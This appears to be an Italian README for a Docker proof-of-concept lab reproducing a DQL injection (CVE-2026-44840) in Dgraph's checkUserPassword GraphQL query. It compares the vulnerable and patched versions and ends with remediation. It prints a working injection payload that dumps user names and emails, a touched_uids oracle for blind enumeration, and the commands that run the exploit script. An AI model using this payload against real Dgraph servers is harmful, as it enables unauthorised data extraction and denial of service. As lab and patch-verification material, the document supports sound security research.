Docker lab che riproduce CVE-2026-44840, un'iniezione DQL nella query GraphQL checkUserPassword di Dgraph, con script di exploit e confronto tra versione vulnerabile e versione corretta.
checkUserPassword (GraphQL)Laboratorio Docker che riproduce un'iniezione reale in Dgraph:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4CVE reale del 2026 · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · attribuita a Kai Aizen (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). Solo per ambiente di lab isolato e autorizzato.
checkUserPassword è la query GraphQL che Dgraph genera automaticamente per gli schemi di
tipi con la direttiva . In
(≤ v25.3.3) la password veniva concatenata con :
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
La password dell'attaccante viene inserita letteralmente nel DQL:
pwd as checkpwd(User.password, "<password dell'attaccante>")
Il fix (v25.3.4, commit cee702c) parametrizza il valore:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
Avvia due cluster Dgraph (zero+alpha): v25.3.3 e v25.3.4.
Carica lo schema type User @secret(field: "password") e crea admin, alice, bob.
Invia a checkUserPassword una password che esce dal letterale DQL e aggiunge un blocco
di query arbitrario:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
In v25.3.3 il blocco injected { ... } viene parsato e eseguito server-side.
| Test | v25.3.3 (vulnerabile) | v25.3.4 (patchato) |
|---|---|---|
| login con password corretta | OK (touched_uids 7) | OK (touched_uids 7) |
| login con password errata | null (5) | null (5) |
password iniettata )} injected{...} # | viene eseguita: touched_uids 14 | neutralizzata: 5 |
oracolo: eq(User.name,"bob") iniettato | touched_uids 7 (esiste) | 5 |
oracolo: eq(User.name,"nobody") iniettato | 5 (non esiste) | 5 |
log di dgraph alpha | mostra il DQL con il blocco injected | DQL parametrizzato, senza blocco |
Impatto del CVE: esecuzione di DQL arbitrario server-side → enumerazione cieca dei dati
(tramite touched_uids/timing), scoperta dello schema (has(), eq()) e DoS per consumo
di risorse iniettando traversal costosi (expand(_all_), ricorsioni).
# 1) avviare tutto, preparare schema/utenti ed eseguire l'exploit
bash run.sh
# 2) solo l'exploit (se il lab è già preparato)
python3 exploit/exploit.py
# 3) montare l'ambiente da zero (pod / dump)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) pulire
docker compose down # conserva i volumi
docker compose down -v # cancella i volumi (dati di dgraph)
| Servizio | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 cluster: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orchestratore completo
├── REDTEAM.md # guida red team: recon + exploitation passo passo + OPSEC
├── setup/setup.py # schema + utenti
└── exploit/exploit.py # iniezione DQL e oracolo
Guida operativa offensiva (ricognizione, exploitation passo passo, payload, evidenza
e OPSEC): REDTEAM.md.
La password viaggia come variabile GraphQL; il valore che arriva al rewriter non viene escapato e
viene inserito dentro checkpwd(User.password, "..."). Il payload:
x") # chiude il letterale di checkpwd e la funzione
} # chiude il blocco checkPwd
injected(...) # nuovo blocco root dell'attaccante
{ ... }
# # commenta il resto del template: ")
Il # evita che il suffisso del template (la " di chiusura di checkpwd) rompa il parsing.
dgraph v25.3.4+.vars di dgoapi.Request), mai
interpolare input con fmt.Sprintf.